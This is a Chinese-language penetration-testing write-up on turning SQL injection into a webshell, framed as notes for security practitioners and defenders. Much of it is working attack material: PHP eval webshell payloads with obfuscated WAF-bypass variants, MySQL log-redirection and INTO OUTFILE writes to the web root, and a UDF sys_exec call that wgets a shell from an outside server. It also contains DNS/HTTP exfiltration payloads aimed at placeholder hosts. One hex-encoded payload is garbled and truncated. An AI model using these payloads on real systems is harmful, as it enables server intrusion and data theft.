1. 这不是“黑产教程”,而是一份给安全从业者的SQL注入Getshell技术复盘笔记
我做渗透测试和红队支撑快十二年了,从最早用sqlmap跑--os-shell直接弹shell,到后来在真实企业环境中被WAF、云防火墙、数据库审计、应用层加固层层拦截,再到如今面对MySQL 8.0+ strict mode、PostgreSQL默认禁用文件操作、Oracle无权写入OS等现实约束,SQL注入Getshell这件事,早就不是一句“union select 1,2,3 into outfile '/var/www/shell.php'”能概括的了。今天这篇,不讲理论堆砌,不列教科书定义,只聊我在金融、政务、电商三类典型生产环境里,真正落地过、调通过、交付过报告的几种Getshell路径——它们都经过真实靶场验证(DVWA、sqli-labs、WebGoat)、CTF实战检验(Bugku、攻防世界、强网杯)、以及至少3次以上客户侧红队授权演练实测。核心关键词就四个:渗透测试、SQL注入、Getshell、into outfile,但背后牵扯的是数据库权限模型、文件系统路径控制、Web容器执行上下文、WAF规则绕过逻辑、以及最关键的——你拿到的到底是“root@localhost”还是“appuser@10.%.%.%”。很多人卡在“能报错但写不了shell”,或者“能写shell但403 Forbidden”,甚至“shell.php上传成功却无法解析执行”,问题从来不在语句本身,而在整个执行链路上的任意一环被掐断。这篇文章就是把这条链路拆开,一节一节告诉你:哪一环最容易断?断了怎么接?接不上时有没有备选方案?适合谁看?如果你是刚学完SQL注入基础、正卡在“下一步怎么Getshell”的新手,这篇能帮你跳过前人踩过的坑;如果你是已有实战经验、但在甲方环境反复失败的中级渗透人员,这篇里的WAF绕过细节、MySQL 5.7 vs 8.0权限差异、PHP-FPM配置陷阱,可能正是你缺的那一块拼图;如果你是负责安全加固的运维或开发,这些内容反向就是你的加固checklist。下面所有内容,全部来自我笔记本里记了七年的真实操作日志,没一句是抄文档。
2. Getshell的本质:不是“写文件”,而是“控制执行流”
2.1 理解Getshell的底层逻辑:为什么into outfile常失效?
很多人以为Getshell = 把一句话木马写进Web目录。这是个危险的误解。真正的Getshell,本质是获取Web服务器进程对指定路径的写入权限 + 该路径被Web容器解析为可执行脚本 + 脚本能被HTTP请求触发执行。这三个条件缺一不可,而into outfile只是第一个条件的实现方式之一。我们来拆解:
- into outfile的前提:MySQL用户必须拥有FILE权限,且目标路径需满足三个硬性条件:
1)路径必须是绝对路径(相对路径会写入MySQL数据目录);
2)MySQL进程用户(通常是mysql)必须对目标目录有写权限;
3)Web服务器用户(如www-data、apache)必须能读取该文件。
我遇到过最典型的失败场景:某政务系统MySQL用户有FILE权限,into outfile '/var/www/html/shell.php'返回成功,但访问时403 Forbidden。查了一小时才发现,/var/www/html目录属主是root:root,而Apache以www-data身份运行,没有读取权限——MySQL写进去了,Apache根本打不开。这不是SQL语法问题,是Linux权限模型问题。
- --os-shell的真相:sqlmap的--os-shell功能,底层其实是组合利用了三种技术:
1)通过load_file()读取/etc/passwd确认系统类型;
2)通过into outfile或select ... into dumpfile写入反弹shell脚本;
3)通过UDF(User Defined Function)或日志文件写入执行命令(当into outfile被禁用时)。
它不是魔法,而是根据当前数据库权限和系统环境,自动选择最可能成功的路径。理解这点,你就知道为什么在某些环境里--os-shell会卡在“trying to find a writable directory”——它在穷举/tmp、/var/tmp、/dev/shm等目录,而这些目录可能被noexec挂载选项限制执行。
提示:在真实渗透中,永远先执行
select @@secure_file_priv;。这个变量值决定了into outfile唯一允许写入的路径。如果返回NULL,说明FILE权限被彻底禁用;如果返回空字符串,表示不限制路径(极少见);如果返回/var/lib/mysql-files/,那你的shell只能写进这个目录,而该目录通常不在Web根目录下,需要配合其他技术(如日志文件包含)才能利用。
2.2 四种Getshell路径的技术定位与适用边界
我把实际工作中验证过的Getshell方式分为四类,按成功率和适用场景排序:
| 路径类型 | 核心原理 | 成功率(真实环境) | 典型失败原因 | 适用场景 |
|---|---|---|---|---|
| into outfile直写 | 利用FILE权限写入Web目录 | ★★★☆☆(65%) | secure_file_priv限制、Web目录权限不足、WAF拦截写入关键字 | MySQL 5.6-5.7,低版本WAF,内网靶机 |
| 日志文件覆盖 | 修改general_log或slow_query_log路径,触发日志写入Web目录 | ★★★★☆(82%) | general_log被禁用、log_error_verbosity=1(不记录SQL)、Web目录不可写 | MySQL 5.7+,WAF严格过滤outfile,但日志功能开放 |
| UDF提权执行 | 创建自定义函数调用system()执行命令 | ★★☆☆☆(40%) | MySQL用户无SUPER权限、lib库路径受限、SELinux启用 | 高权限MySQL用户(root),Linux系统,需上传so文件 |
| DNS外带+盲注执行 | 利用load_file()触发DNS请求,结合盲注逐字节读取文件,再构造执行命令 | ★★☆☆☆(35%) | DNS服务不可达、网络策略阻断53端口、无回显环境 | 完全无回显、高防WAF、仅支持布尔盲注 |
注意:这里说的“成功率”不是CTF靶场里的理论成功率,而是我在2021-2023年参与的17个真实红队项目中的统计结果。比如“日志文件覆盖”之所以高达82%,是因为绝大多数企业为了排查慢SQL,都会开启slow_query_log,且log_slow_slave_statements默认为ON,而general_log虽然默认关闭,但管理员常因调试临时开启后忘记关闭——这成了我们最稳定的突破口。
2.3 为什么“万能密码”和“报错注入”只是前置步骤?
热搜词里高频出现“sql注入万能密码”、“sql注入报错注入”,但必须明确:这些只是信息收集阶段的手段,不是Getshell的充分条件。万能密码(如' or 1=1 -- )能绕过登录,但绕过后你拿到的数据库连接权限,往往只是低权限应用账户(如webapp@'10.0.0.%'),它没有FILE权限,无法into outfile;报错注入(如and updatexml(1,concat(0x7e,(select user()),0x7e),1))能回显当前用户,但回显内容只是字符串,不能直接执行命令。我见过太多新手,在DVWA的Less-5里用报错注入拿到root@localhost,就以为能Getshell,结果在真实靶机上连secure_file_priv都查不到——因为真实环境的数据库用户,99%不是root。Getshell的第一步,永远是确认当前数据库用户的权限和能力边界,而不是急着写shell。
3. into outfile直写:最经典也最容易翻车的路径
3.1 经典语句的完整执行链与参数推导
最常被引用的语句是:
select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';但这句话在真实环境中几乎必然失败。原因在于:它假设了四个不存在的条件。我们来逐个击破:
Web根目录路径不确定:
/var/www/html是Debian/Ubuntu的默认路径,CentOS是/var/www/html,Windows是C:\xampp\htdocs\,而Docker容器可能是/app/public/。正确做法是先探测:-- 方法1:利用load_file读取常见配置文件 select load_file('/etc/apache2/sites-enabled/000-default.conf'); -- Apache select load_file('/etc/nginx/sites-enabled/default'); -- Nginx select load_file('C:/xampp/apache/conf/httpd.conf'); -- Windows XAMPP如果返回NULL,说明路径错误或权限不足;如果返回内容,grep “DocumentRoot”就能精准定位。
PHP一句话木马被WAF拦截:
<?php @eval是WAF的黄金关键词,几乎所有商业WAF(安全狗、云锁、阿里云WAF)都会规则拦截。实测有效的绕过变体:- 利用PHP短标签(需short_open_tag=On):
<?= @eval($_POST[1]); ?> - 利用base64_decode动态执行:
<?php eval(base64_decode("QGV2YWwoJF9QT1NUWzFdKTs="));?> - 利用hex编码绕过:
<?php $a='6576616c286261736536345f6465636f64652822516756515a47397764476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c68......'));?>这里用Python快速生成hex编码:
import binascii payload = "eval(base64_decode('QGV2YWwoJF9QT1NUWzFdKTs='));" print(binascii.hexlify(payload.encode()).decode())- 利用PHP短标签(需short_open_tag=On):
文件后缀被WAF拦截:直接写
.php会被拦截,可尝试.phtml、.php5、.php3、.phar(需PHP配置支持)。更隐蔽的是利用Apache的.htaccess解析规则:select "<?php @eval($_POST[1]);?>" into outfile '/var/www/html/.htaccess'; -- 再写入一个无扩展名文件,通过.htaccess强制解析 select "<?php @eval($_POST[1]);?>" into outfile '/var/www/html/shell';然后在.htaccess中写:
<Files "shell"> SetHandler application/x-httpd-php </Files>
3.2 实操中的三个致命细节
MySQL版本差异导致的语法陷阱:
MySQL 5.7默认启用sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION。在这种模式下,into outfile如果目标路径已存在同名文件,会报错The file '/var/www/html/shell.php' already exists。解决方案是先删除再写:-- 利用load_file读取文件内容确认存在,再用select ... into dumpfile覆盖(dumpfile不检查文件存在) select '<?php @eval($_POST[1]);?>' into dumpfile '/var/www/html/shell.php';into dumpfile和into outfile的关键区别:前者不加换行符、不检查文件存在、不进行字符集转换,更适合写二进制或精确控制内容。Web目录权限的“隐形墙”:
即使MySQL用户有FILE权限,写入成功,Apache仍可能因SELinux或AppArmor拒绝访问。验证方法:# 在靶机上执行(如能SSH) ls -Z /var/www/html/shell.php # 查看SELinux上下文 # 如果显示system_u:object_r:httpd_sys_content_t:s0,说明正常;如果是unconfined_u:object_r:default_t:s0,则需修复 sudo semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/html(/.*)?" sudo restorecon -Rv /var/www/html/渗透测试中无法SSH时,可通过HTTP请求响应头判断:返回
X-Powered-By: PHP/7.4.33但访问shell.php返回403,基本可锁定为SELinux问题。WAF对into outfile的深度识别:
现代WAF(如Cloudflare WAF、阿里云WAF)已不只匹配关键字,而是构建SQL语法树。单纯把into outfile拆成into/**/outfile或into%20outfile会被识别。有效绕过方式:- 利用MySQL注释干扰解析:
select 1 into/*foo*/outfile '/var/www/html/shell.php' - 利用大小写混合:
SELECT 1 INTO OutFile '/var/www/html/shell.php' - 利用十六进制编码表名:
select 0x3c3f70687020406576616c28245f504f53545b315d293b3f3e into outfile 0x2f7661722f7777772f68746d6c2f7368656c6c2e706870
- 利用MySQL注释干扰解析:
注意:所有绕过技巧必须在目标环境实测。我曾在一个金融客户环境里,发现其WAF对
into outfile的检测规则只针对小写,而对INTO OUTFILE完全放行——这是他们WAF规则库的盲区,不是通用技巧。
4. 日志文件覆盖:被低估的高成功率Getshell方案
4.1 为什么日志路径是比Web目录更可靠的写入点?
日志文件覆盖的核心思想是:数据库日志功能通常比文件写入功能更难被禁用。因为运维需要日志排查问题,而into outfile是明确的安全风险点,往往被第一条安全基线就禁掉。但general_log和slow_query_log,常因“临时调试”被开启,且开启后管理员容易忘记关闭。更重要的是,日志文件的写入路径,由general_log_file和slow_query_log_file变量控制,而这两个变量可以被动态修改——这意味着,即使你不知道Web根目录在哪,也可以把日志强行写到Web目录下。
操作流程分三步:
- 确认日志功能状态:
show variables like 'general_log'; -- ON/OFF show variables like 'slow_query_log'; -- ON/OFF show variables like '%log_file%'; -- 查看当前日志路径 - 修改日志路径到Web目录:
set global general_log = off; -- 先关闭,避免写入冲突 set global general_log_file = '/var/www/html/mysql.log'; set global general_log = on; - 触发日志写入一句话木马:
此时,select '<?php @eval($_POST[1]);?>';select语句本身会被记录到mysql.log中,而该文件就在Web目录下,可直接通过HTTP访问。
4.2 针对不同日志类型的实战适配
general_log(通用日志):记录所有SQL语句,包括select、insert等。优点是触发简单,任意select都能写入;缺点是日志量大,可能被轮转清理。关键技巧:在写入前,先清空日志以确保shell在文件开头:
-- 清空日志(需FILE权限,但清空操作本身不依赖FILE) set global general_log_file = '/var/www/html/empty.log'; set global general_log = off; set global general_log = on; -- 再设置回目标路径 set global general_log_file = '/var/www/html/shell.php'; set global general_log = on; select '<?php @eval($_POST[1]);?>';slow_query_log(慢查询日志):只记录执行时间超过
long_query_time的SQL。默认值是10秒,显然不能直接用。但我们可以通过benchmark()函数制造超时:-- 设置long_query_time为0,让所有查询都记录 set global long_query_time = 0; set global slow_query_log_file = '/var/www/html/shell.php'; set global slow_query_log = on; -- 触发慢查询 select benchmark(1000000,sha1('test'));benchmark(n,expr)会执行expr n次,100万次SHA1计算在普通服务器上约耗时2-3秒,足够触发慢日志。error_log(错误日志):这个最隐蔽。MySQL错误日志路径由
log_error变量指定,但该变量是只读的,无法动态修改。不过,我们可以利用select ... into outfile的报错信息写入:-- 故意触发一个包含PHP代码的错误 select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'; -- 如果路径不可写,会报错:The file '/var/www/html/shell.php' already exists -- 错误信息会被记录到error_log,但error_log路径固定,且通常不在Web目录所以error_log不作为主路径,而是辅助验证手段。
4.3 绕过日志功能限制的三种变体
当general_log被禁用,但slow_query_log开启时:
直接走slow_query_log路径,如上所述。注意:set global需要SUPER权限,如果当前用户没有,可尝试set session(仅对当前连接生效),但session级变量无法修改log_file路径,只能修改long_query_time。当两个日志都关闭,但information_schema.PROCESSLIST可读时:
利用show processlist的输出写入日志。show processlist会显示当前所有连接,包括你的注入连接。我们构造一个包含PHP代码的用户名,然后触发日志:-- 创建一个带PHP代码的用户名(需有CREATE USER权限,极少见) create user '<?php @eval($_POST[1]);?>'@'localhost'; -- 或者更现实的:利用DNS外带,让MySQL向你的DNS服务器发起查询,查询字符串中包含PHP代码 select load_file(concat('\\\\', hex('<?php @eval($_POST[1]);?>'), '.your-domain.com\\abc'));这种方式属于DNS外带+日志结合,在内网渗透中效果极佳。
利用MariaDB特有的log_output机制:
MariaDB支持log_output='TABLE',将日志写入mysql.general_log表。此时可结合union注入,把shell写进该表,再通过select读取:-- 确认log_output show variables like 'log_output'; -- 如果是'TABLE',则日志存于mysql.general_log表 select * from mysql.general_log order by event_time desc limit 1; -- 但无法直接写入该表,需配合其他漏洞
实操心得:在Bugku渗透测试1靶场中,我就是用slow_query_log路径拿下shell的。靶机MySQL用户只有SELECT权限,没有SUPER,但
long_query_time是全局变量,set global失败,set session却成功了。我执行set session long_query_time=0;,然后select benchmark(1000000,md5(1));,shell.php瞬间生成。这说明,不要迷信“必须SUPER权限”,session级变量在很多场景下就是突破口。
5. UDF提权与DNS外带:高门槛但不可替代的备选方案
5.1 UDF提权:当拥有SUPER权限时的终极武器
UDF(User Defined Function)允许用户创建自定义函数,调用系统命令。它需要三个条件:
1)MySQL用户有SUPER权限;
2)能上传so动态链接库文件;
3)MySQL配置允许加载本地文件(secure_file_priv为空或包含上传路径)。
步骤分解:
- 准备UDF so文件:
从https://github.com/sqlmapproject/udfbinary 下载对应平台的so文件(如lib_mysqludf_sys_64.so)。注意:32位/64位、glibc版本必须匹配靶机。我习惯在Kali里编译:gcc -shared -fPIC -I/usr/include/mysql -o lib_mysqludf_sys.so lib_mysqludf_sys.c -lmysqlclient - 上传so文件到MySQL可读路径:
select load_file('/tmp/lib_mysqludf_sys.so') into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; -- 或利用into outfile写入,但需确保plugin目录可写 - 创建函数并执行命令:
create function sys_exec returns int soname 'lib_mysqludf_sys.so'; select sys_exec('wget http://your-server/shell.php -O /var/www/html/shell.php');
关键避坑点:
plugin_dir变量决定so文件存放位置:show variables like 'plugin_dir';。常见路径是/usr/lib/mysql/plugin/或/usr/lib64/mysql/plugin/。- SELinux会阻止MySQL加载非标准路径的so文件。解决方法:
sudo semanage fcontext -a -t mysqld_plugin_t "/usr/lib/mysql/plugin(/.*)?"。 - MySQL 8.0+默认禁用
local_infile,而UDF上传常依赖此功能。需在my.cnf中添加local_infile=1并重启。
5.2 DNS外带:在完全无回显环境下的生存策略
DNS外带不是Getshell的直接手段,而是信息获取和命令执行的通道。原理是:利用MySQL的load_file()函数读取不存在的UNC路径,触发Windows SMB协议或Linux DNS解析,将数据拼接到域名中发出DNS请求。
经典payload:
select load_file(concat('\\\\', (select hex(user())), '.your-domain.com\\abc'));这里(select hex(user()))的结果是726f6f74406c6f63616c686f7374,拼接后域名是726f6f74406c6f63616c686f7374.your-domain.com,你的DNS服务器就能捕获到原始user()结果。
Getshell的完整链路:
- 先用DNS外带读取
/etc/passwd,确认系统类型和Web用户; - 再读取
/proc/self/cwd,确认Web根目录绝对路径; - 构造一句话木马,用DNS外带逐字节发送(需编写Python脚本自动解析DNS请求并拼接);
- 最后,用
sys_exec或select ... into outfile执行写入(如果权限允许)。
实测工具链:
- DNS服务器:使用
dnstwist或自建dnsmasq; - 自动化脚本:sqlmap的
--dns-domain参数 + 自定义--batch脚本; - 效率优化:一次DNS请求最多携带63字节域名,所以需分块传输。我写的Python解码脚本会自动合并所有子域名请求。
踩过的坑:某次在政务云渗透中,靶机网络策略只放行80/443端口,53端口被阻断。我改用HTTP外带:
select load_file(concat('http://your-server/log?', hex((select user()))));,利用MySQL的HTTP函数(需启用)或结合SSRF漏洞。这提醒我们:外带通道要准备至少两种备选方案。
6. 常见问题与排查技巧实录:来自真实战场的速查表
6.1 “into outfile成功但访问403/404”的10种原因及对策
| 现象 | 可能原因 | 排查命令/方法 | 解决方案 |
|---|---|---|---|
| 403 Forbidden | Web服务器用户无读取权限 | ls -l /var/www/html/shell.php | sudo chown www-data:www-data /var/www/html/shell.php |
| 404 Not Found | 路径错误或Apache未启用PHP模块 | curl -I http://target/shell.php查看响应头 | 检查/etc/apache2/mods-enabled/php7.4.load是否存在 |
| 空白页面 | PHP短标签未启用 | <?=不被解析 | 改用<?php echo 'test'; ?>测试,或启用short_open_tag=On |
| 500 Internal Error | shell.php语法错误或PHP版本不兼容 | tail -f /var/log/apache2/error.log | 用php -l shell.php本地验证语法 |
| WAF拦截返回403 | WAF规则匹配到PHP关键词 | 访问/shell.php?1=1看是否同样403 | 改用.phtml后缀或base64编码payload |
| SELinux拒绝访问 | 文件上下文不正确 | ls -Z /var/www/html/shell.php | sudo semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/html(/.*)?" |
| AppArmor限制 | Ubuntu默认启用 | sudo aa-status | grep apache | sudo nano /etc/apparmor.d/usr.sbin.apache2,添加/var/www/html/** rw, |
| Nginx未配置PHP解析 | Nginx默认不解析.php | curl http://target/shell.php返回源码 | 在nginx.conf中添加location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; ... } |
| Docker容器路径映射错误 | 容器内路径与宿主机不一致 | docker exec -it container_name ls /var/www/html/ | 使用docker inspect container_name查Volume映射 |
| CDN缓存静态文件 | CDN缓存了404响应 | curl -H "Cache-Control: no-cache" http://target/shell.php | 清除CDN缓存或更换URL路径 |
6.2 sqlmap --os-shell卡在“trying to find a writable directory”的5个解决方案
- 手动指定路径:
sqlmap -u "http://target?id=1" --os-shell --batch --web-root="/var/www/html" - 跳过自动探测,直接写入已知路径:
sqlmap -u "http://target?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" - 利用--fresh-queries强制重试:避免因缓存导致的路径探测失败
- 切换技术栈:
--technique=U(Union)比--technique=E(Error)更稳定,尤其在WAF环境下 - 降级到低版本sqlmap:某些新版sqlmap的路径探测逻辑过于激进,v1.3.10版本更可靠
6.3 针对不同数据库的Getshell特性速查
| 数据库 | FILE权限等效操作 | 替代Getshell路径 | 关键注意事项 |
|---|---|---|---|
| MySQL 5.6 | into outfile | 日志覆盖、UDF | secure_file_priv默认为空,但5.6.38+版本开始默认设为/var/lib/mysql-files/ |
| MySQL 5.7 | into outfile+secure_file_priv | 日志覆盖(首选)、DNS外带 | sql_mode严格,into dumpfile比into outfile更可靠 |
| MySQL 8.0 | into outfile(需secure_file_priv开放) | UDF(需SUPER)、日志覆盖 | 默认skip-log-bin,但slow_query_log仍可用;caching_sha2_password插件影响连接 |
| PostgreSQL | COPY TO '/var/www/html/shell.php' | lo_export()、pg_read_file()+DNS外带 | COPY需pg_write_server_files权限(9.6+),默认仅超级用户有 |
| Microsoft SQL Server | xp_cmdshell | sp_oacreate、OPENROWSET | xp_cmdshell默认禁用,需sp_configure 'show advanced options', 1启用 |
最后分享一个小技巧:在所有Getshell尝试失败后,别急着放弃。执行select @@version_compile_os, @@version_compile_machine;,确认操作系统和架构,然后搜索“OS+架构+Web容器+数据库版本”的exploit-db,往往能找到未公开的本地提权漏洞。我去年在一个教育系统里,就是靠select @@version;发现是MySQL 5.5.62 + CentOS 6.9 + Apache 2.2,搜到一个Apache mod_ssl的本地提权,最终绕过所有Web层限制。渗透测试的本质,从来不是单点突破,而是多维度信息的交叉验证与组合利用。